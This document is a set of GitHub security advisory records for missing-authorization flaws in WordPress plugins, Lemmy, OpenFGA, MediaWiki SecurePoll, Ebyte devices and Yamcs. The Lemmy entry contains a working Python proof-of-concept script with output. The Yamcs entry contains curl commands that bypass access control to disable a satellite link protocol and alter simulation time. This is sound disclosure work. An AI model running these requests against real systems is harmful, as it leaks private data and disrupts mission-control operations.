CWE-862

{
  "affected": [],
  "aliases": [
    "CVE-2024-34377"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-06T19:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in A WP Life Video Gallery \u2013 Api Gallery, YouTube and Vimeo, Link Gallery.This issue affects Video Gallery \u2013 Api Gallery, YouTube and Vimeo, Link Gallery: from n/a through 1.5.3.",
  "id": "GHSA-95mp-mxq2-vr8j",
  "modified": "2026-04-28T21:35:04Z",
  "published": "2024-05-06T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34377"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/new-video-gallery/wordpress-video-gallery-api-gallery-youtube-and-vimeo-link-gallery-plugin-1-5-3-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-88944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-19T03:17:16Z",
    "severity": "MODERATE"
  },
  "details": "The Tutor LMS \u2013 eLearning and online course solution plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 4.0.8. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to permanently delete arbitrary WordPress posts \u2014 including pages, courses, quizzes, and WooCommerce products \u2014 via wp_delete_post( $id, true ). The exploit chain requires the attacker to first trigger the profile-photo upload flow to obtain an authored wp_posts attachment row, then create a Tutor topic reparented to that attachment, before invoking the lesson deletion handler against any target post ID.",
  "id": "GHSA-95p6-v6qj-q4v6",
  "modified": "2026-09-19T03:32:03Z",
  "published": "2026-09-19T03:32:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-88944"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Course.php#L1758"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Course.php#L2055"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Lesson.php#L541"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/User.php#L395"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Utils.php#L3277"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Utils.php#L7481"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/tutor/tags/4.0.7/classes/Utils.php#L7666"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3700174%40tutor\u0026new=3700174%40tutor"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7e23fcd0-62b4-460d-9b64-8adbf14bf820?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-27388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-05T06:16:28Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in designthemes DesignThemes Booking Manager designthemes-booking-manager allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects DesignThemes Booking Manager: from n/a through \u003c= 2.0.",
  "id": "GHSA-95pw-wcgr-8xpg",
  "modified": "2026-03-09T15:30:32Z",
  "published": "2026-03-05T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27388"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/designthemes-booking-manager/vulnerability/wordpress-designthemes-booking-manager-plugin-2-0-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-33591"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-29T10:15:07Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in Tips and Tricks HQ Easy Accept Payments.This issue affects Easy Accept Payments: from n/a through 4.9.10.",
  "id": "GHSA-95q7-rqp4-3w49",
  "modified": "2026-04-28T21:35:00Z",
  "published": "2024-04-29T12:30:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33591"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/wordpress-easy-paypal-payment-or-donation-accept-plugin/wordpress-easy-accept-payments-for-paypal-plugin-4-9-10-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "lemmy_api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.19.1-rc.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T22:22:41Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "**NOTE**: Only affects development version.\n\n## Summary\n\nLemmy applies private-community checks in `PostView` and `CommentView`, but several adjacent API views skip the accepted-follower filter. Bob, a registered user who is not an accepted follower, can read private community `sidebar` and `summary` fields. Alice, a former accepted follower, can still read saved and liked private post bodies after she leaves. An unauthenticated visitor can read private community metadata and removed private post names through the modlog.\n\n## Details\n\n`CommunityView::read()` and `CommunityQuery::list()` call `visible_communities_only()`, but they do not add the private-community filter used by post and comment reads:\n\n```rust\nquery = my_local_user.visible_communities_only(query);\nquery.first(conn).await.with_lemmy_type(LemmyErrorType::NotFound)\n```\n\n`PersonSavedCombinedQuery::list()` and `PersonLikedCombinedQuery::list()` join `community_actions`, but they only filter by the requesting person id. They do not require `community_actions.follow_state = Accepted` when the community has `visibility = Private`.\n\nThe modlog query returns `ListingType::All` without a visibility predicate:\n\n```rust\nquery = match self.listing_type.unwrap_or(ListingType::All) {\n  ListingType::All =\u003e query,\n```\n\nThe control paths show the expected check. `PostView::read()` and `CommentView::read()` both filter private communities to accepted followers:\n\n```rust\ncommunity::visibility\n  .ne(CommunityVisibility::Private)\n  .or(community_actions::follow_state.eq(CommunityFollowerState::Accepted))\n```\n\n## Proof of Concept\n\nThe following script reproduces the leak against a fresh Lemmy instance. Tested against `dessalines/lemmy:nightly` with the default setup account from the sample config. The script opens registration so it can create Alice and Bob.\n\n```python\nimport requests, random, string\n\nBASE = \"http://127.0.0.1:8536/api/v4\"  # change to the target Lemmy URL\nADMIN_USER = \"lemmy\"\nADMIN_PASS = \"lemmylemmy\"\nPASSWORD = \"Password123456!\"\n\ndef req(method, path, token=None, params=None, **body):\n    headers = {}\n    if token:\n        headers[\"Authorization\"] = \"Bearer \" + token\n    return requests.request(method, BASE + path, headers=headers, params=params, json=body or None)\n\ndef register(name):\n    r = req(\"POST\", \"/account/auth/register\", username=name, password=PASSWORD,\n            password_verify=PASSWORD, email=name + \"@example.test\")\n    r.raise_for_status()\n    token = r.json()[\"jwt\"]\n    person_id = req(\"GET\", \"/account\", token).json()[\"local_user_view\"][\"person\"][\"id\"]\n    return token, person_id\n\ndef show(label, response, marker):\n    text = response.text\n    print(\"\\n\" + label + \": HTTP\", response.status_code)\n    print(text[:700])\n    print(\"contains marker:\", marker in text)\n\nsuffix = \"poc\" + \"\".join(random.choice(string.ascii_lowercase) for _ in range(6))\nadmin = req(\"POST\", \"/account/auth/login\", username_or_email=ADMIN_USER, password=ADMIN_PASS).json()[\"jwt\"]\nreq(\"PUT\", \"/site\", admin, registration_mode=\"open\", email_verification_required=False)\n\nalice, alice_id = register(\"alice\" + suffix)\nbob, _ = register(\"bob\" + suffix)\nsecret = \"SECRET_\" + suffix\n\ncommunity = req(\"POST\", \"/community\", admin,\n                name=\"priv\" + suffix,\n                title=\"Private Proof \" + suffix,\n                sidebar=secret + \" sidebar\",\n                summary=secret + \" summary\",\n                visibility=\"private\").json()[\"community_view\"][\"community\"]\ncommunity_id = community[\"id\"]\npost = req(\"POST\", \"/post\", admin, name=\"secret post \" + suffix,\n           community_id=community_id, body=secret + \" post body\").json()[\"post_view\"][\"post\"]\npost_id = post[\"id\"]\n\nshow(\"Bob reads private community metadata\", req(\"GET\", \"/community\", bob, params={\"id\": community_id}), secret)\nshow(\"Bob direct post read control\", req(\"GET\", \"/post\", bob, params={\"id\": post_id}), secret)\n\nreq(\"POST\", \"/community/follow\", alice, community_id=community_id, follow=True)\nreq(\"POST\", \"/community/pending_follows/approve\", admin,\n    community_id=community_id, follower_id=alice_id, approve=True)\nreq(\"PUT\", \"/post/save\", alice, post_id=post_id, save=True)\nreq(\"POST\", \"/post/like\", alice, post_id=post_id, is_upvote=True)\nreq(\"POST\", \"/community/follow\", alice, community_id=community_id, follow=False)\n\nshow(\"Alice direct post read after leaving\", req(\"GET\", \"/post\", alice, params={\"id\": post_id}), secret)\nshow(\"Alice saved list after leaving\", req(\"GET\", \"/account/saved\", alice), secret)\nshow(\"Alice liked list after leaving\", req(\"GET\", \"/account/liked\", alice), secret)\n\nmod_comm = req(\"POST\", \"/community\", admin,\n               name=\"modlog\" + suffix,\n               title=\"Private Modlog \" + suffix,\n               sidebar=secret + \" modlog sidebar\",\n               summary=secret + \" modlog summary\",\n               visibility=\"private\").json()[\"community_view\"][\"community\"]\nmod_post = req(\"POST\", \"/post\", admin, name=secret + \" removed post\",\n               community_id=mod_comm[\"id\"], body=\"body\").json()[\"post_view\"][\"post\"]\nreq(\"POST\", \"/post/remove\", admin, post_id=mod_post[\"id\"], removed=True, reason=\"poc\")\nshow(\"Unauthenticated modlog\", req(\"GET\", \"/modlog\", params={\"listing_type\": \"all\", \"limit\": 50}), secret)\n\n```\n\nOutput:\n\n```text\nBob reads private community metadata: HTTP 200\ncontains marker: True\nBob direct post read control: HTTP 404\ncontains marker: False\nAlice direct post read after leaving: HTTP 404\ncontains marker: False\nAlice saved list after leaving: HTTP 200\ncontains marker: True\nAlice liked list after leaving: HTTP 200\ncontains marker: True\nUnauthenticated modlog: HTTP 200\ncontains marker: True\n```\n\n## Impact\n\nBob can read private community descriptions and sidebars before a moderator approves him. Alice can leave a private community, or a moderator can remove her, and Lemmy still returns private post bodies that Alice saved or liked while she was a member. An unauthenticated visitor can use the public modlog to discover private community metadata and removed private post names.\n\n## Recommended Fix\n\nApply the same private-community filter used by `PostView` and `CommentView` to `CommunityView::read()`, `CommunityQuery::list()`, `PersonSavedCombinedQuery::list()`, `PersonLikedCombinedQuery::list()`, and the `ListingType::All` branch of the modlog query. Admins and accepted followers should keep access. Other callers should receive the same `404` behavior as `GET /post` and `GET /comment`.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-95q8-x6r6-672m",
  "modified": "2026-06-08T23:39:41Z",
  "published": "2026-05-06T22:22:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-95q8-x6r6-672m"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/commit/637151121a8e27b2b8c95e98d6f86966b31b4a6d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LemmyNet/lemmy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemmy may expose private community data through community, saved, liked, and modlog API views"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-68579"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-24T13:16:25Z",
    "severity": "HIGH"
  },
  "details": "Missing Authorization vulnerability in FolioVision FV Simpler SEO fv-all-in-one-seo-pack allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FV Simpler SEO: from n/a through \u003c= 1.9.6.",
  "id": "GHSA-95q9-4qh9-hr86",
  "modified": "2026-01-20T15:32:40Z",
  "published": "2025-12-24T15:30:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-68579"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/fv-all-in-one-seo-pack/vulnerability/wordpress-fv-simpler-seo-plugin-1-9-6-broken-access-control-vulnerability?_s_id=cve"
    },
    {
      "type": "WEB",
      "url": "https://vdp.patchstack.com/database/Wordpress/Plugin/fv-all-in-one-seo-pack/vulnerability/wordpress-fv-simpler-seo-plugin-1-9-6-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-77966"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-31T16:19:13Z",
    "severity": "HIGH"
  },
  "details": "The affected\u00a0Ebyte \n\nproduct\u00a0does not provide separation between limited and administrative \nmanagement functions. A low privileged authenticated attacker could \naccess security sensitive configuration functions and modify settings \nthat affect the confidentiality, integrity, or availability of the \ndevice.",
  "id": "GHSA-95vr-mjhg-w4w3",
  "modified": "2026-08-31T18:31:29Z",
  "published": "2026-08-31T18:31:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77966"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-237-06.json"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-237-06"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.2.3"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openfga/openfga"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.2.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-39340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-25T20:13:38Z",
    "nvd_published_at": "2022-10-25T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Overview\nDuring our internal security assessment, it was discovered that `streamed-list-objects` endpoint was not validating the authorization header resulting in the disclosure of objects in the store.\n\n### Am I Affected?\nYou are affected by this vulnerability if you are using `openfga/openfga` version `v0.2.3` or prior and you are exposing the OpenFGA service to the internet.\n\n### How to fix that?\nUpgrade to version `v0.2.4`.\n\n### Backward Compatibility\nThis update is backward compatible.",
  "id": "GHSA-95x7-mh78-7w2r",
  "modified": "2022-10-27T18:35:10Z",
  "published": "2022-10-25T20:13:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/security/advisories/GHSA-95x7-mh78-7w2r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-39340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/commit/779d73d4b6d067ee042ec9b59fec707eed71e42f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openfga/openfga"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openfga/openfga/releases/tag/v0.2.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OpenFGA subject to Information Disclosure via streamed-list-objects endpoint"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-53485"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-04T18:15:23Z",
    "severity": "HIGH"
  },
  "details": "SetTranslationHandler.php does not validate that the user is an election admin, allowing any (even unauthenticated) user to change election-related translation text. While partially broken in newer MediaWiki versions, the check is still missing.\n\n\n\n\nThis issue affects Mediawiki - SecurePoll extension: from 1.39.X before 1.39.13, from 1.42.X before 1.42.7, from 1.43.X before 1.43.2.",
  "id": "GHSA-95xf-vj6c-3pj7",
  "modified": "2025-07-08T18:31:07Z",
  "published": "2025-07-04T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53485"
    },
    {
      "type": "WEB",
      "url": "https://gerrit.wikimedia.org/r/149668"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T392341"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.13.1"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.13.0"
            },
            {
              "fixed": "5.13.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.yamcs:yamcs-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T17:09:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nMultiple Missing Function Level Access Control vulnerabilities exist in the Yamcs Core API. These vulnerabilities allow any authenticated user, regardless of their assigned roles or privileges (e.g., an unprivileged \"Guest\"), to bypass intended access controls. An attacker can exploit these flaws to extract sensitive telemetry metadata, disrupt satellite communication link protocols (COP-1), and manipulate the global simulation time, severely impacting the confidentiality, integrity, and availability of the system.\n\n### Details\nYamcs utilizes a robust Role-Based Access Control (RBAC) model with `SystemPrivilege` and `ObjectPrivilege` to restrict administrative actions and data retrieval. However, three critical API controllers completely omit these authorization checks before executing internal business logic:\n\n1.  **`IndexesApi.java` (Information Disclosure):** Unlike `PacketsApi.java`, which filters results using `ctx.user.hasObjectPrivilege(ObjectPrivilegeType.ReadPacket, packetName)`, methods in `IndexesApi` (such as `listPacketIndex` and `listEventIndex`) directly retrieve and return archive records from the `CcsdsTmIndex` without verifying if the user has the required Object Privileges.\n2.  **`Cop1Api.java` (Denial of Service / Integrity):** Modifying the COP-1 telecommand protocol state is an administrative action requiring `SystemPrivilege.ControlLinks`. However, endpoints in `Cop1Api` (e.g., `disable`, `resume`, `initialize`, `updateConfig`) process link state alterations without calling `ctx.checkSystemPrivilege(...)`.\n3.  **`TimeApi.java` (Denial of Service / Integrity):** The `setTime` method allows modification of the global `SimulationTimeService` (affecting all processors, telemetry, and tests in that instance). This endpoint fails to assert any system privileges before applying the requested simulation speed or time jumps.\n\n### PoC\n**Prerequisite:** Obtain valid credentials for a completely unprivileged user (e.g., `user_without_priv:password` with no roles assigned).\n\n**PoC 1: Extracting Packet Indexes (`IndexesApi`)**\n```bash\ncurl -s -X GET \"http://localhost:8090/api/archive/simulator/packet-index\" \\\n     -u \"user_without_priv:password\"\n```\n*Result:* Returns HTTP 200 OK with a full JSON array of packet indexes, bypassing Object Privilege checks and leaking system metadata.\n\n**PoC 2: Disabling COP-1 Protocol (`Cop1Api`)**\n```bash\ncurl -s -X POST \"http://localhost:8090/api/cop1/simulator/tc_sim:disable\" \\\n     -u \"user_without_priv:password\" \\\n     -H \"Content-Type: application/json\" -d \u0027{}\u0027\n```\n*Result:* The server processes the request past the authorization layer. Depending on the link configuration, it will either successfully disable COP-1 or return `400 BadRequestException` confirming the link does not support COP-1. The absence of a `403 Forbidden` confirms the authorization bypass.\n\n**PoC 3: Manipulating Simulation Time (`TimeApi`)**\n```bash\ncurl -s -X POST \"http://localhost:8090/api/instances/simulator:setTime\" \\\n     -u \"user_without_priv:password\" \\\n     -H \"Content-Type: application/json\" -d \u0027{\"speed\": 10.0}\u0027\n```\n*Result:* The server processes the request past the authorization layer. It changes the global simulation speed if the service is active, or returns `400 BadRequestException: Cannot set time for a non-simulation TimeService`. The absence of a `403 Forbidden` confirms the authorization bypass.\n\n### Impact\nThe vulnerability impacts instances of Yamcs exposing the REST API. \n*   **Confidentiality:** Unprivileged users can enumerate all historical telemetry packet and event metadata.\n*   **Integrity \u0026 Availability:** Attackers can disable critical satellite telecommand protocols (COP-1) causing command transmission failures. They can also manipulate the global simulation time, disrupting processors, automated tests, and all other users relying on the simulation environment.\n\n### PoC Images:\n- Check user permission\n\u003cimg width=\"1218\" height=\"951\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fa7b1f1b-70fc-4796-805a-70acb84686d3\" /\u003e\n\n- Check admin permission and access API:\n\u003cimg width=\"1768\" height=\"555\" alt=\"image\" src=\"https://github.com/user-attachments/assets/844364f7-5e26-4c15-8809-6512f10ffbab\" /\u003e\n\n- Check user no permission - get response same with user admin:\n\u003cimg width=\"1264\" height=\"885\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8773cef6-f940-48f7-a382-0eb87b8767d4\" /\u003e\n\u003cimg width=\"1243\" height=\"358\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3288f092-7114-48d6-9e5c-9aeaf20d95d4\" /\u003e",
  "id": "GHSA-962x-ccwf-8x6p",
  "modified": "2026-08-28T17:09:35Z",
  "published": "2026-08-28T17:09:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/yamcs/yamcs/security/advisories/GHSA-962x-ccwf-8x6p"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/yamcs/yamcs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Yamcs Core API has Multiple Missing Function Level Access Control vulnerabilities"
}